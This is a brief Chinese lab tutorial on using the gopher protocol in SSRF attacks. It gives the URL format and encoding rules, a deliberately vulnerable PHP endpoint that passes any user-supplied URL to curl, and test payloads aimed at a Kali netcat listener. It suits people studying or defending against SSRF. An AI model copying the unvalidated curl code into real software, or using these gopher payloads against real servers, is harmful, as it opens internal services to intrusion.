gopher协议
一、目标
- 什么是gopher协议
- 在SSRF中如何使用gopher协议反弹shell
二、定义
Gopher是Internet的一个信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议(万金油协议)。默认使用tcp70端口。
gopher在各种变成语言中的使用限制
三、gopher协议的格式
URL:gopher://host:port/gopher-path_TCP数据流(反弹shell等命令)
注意
- gopher的默认端口号是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果含有多个参数,连接符&也需要进行url编码
- gopher-path后需要加一个字符,防止tcp数据流改变,默认使用下划线_
四、gopher协议发送http请求
步骤
1.构造http数据包
2.url编码、替换回车换行为%0d%0a
3.发送gopher协议
服务器端curl功能代码
<?php
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
①get请求
?url=gopher://192.168.232.173:2333/_abcd
kali端nc响应
②post请求
url=gopher://192.168.232.173:2333/_abcd
kali端nc响应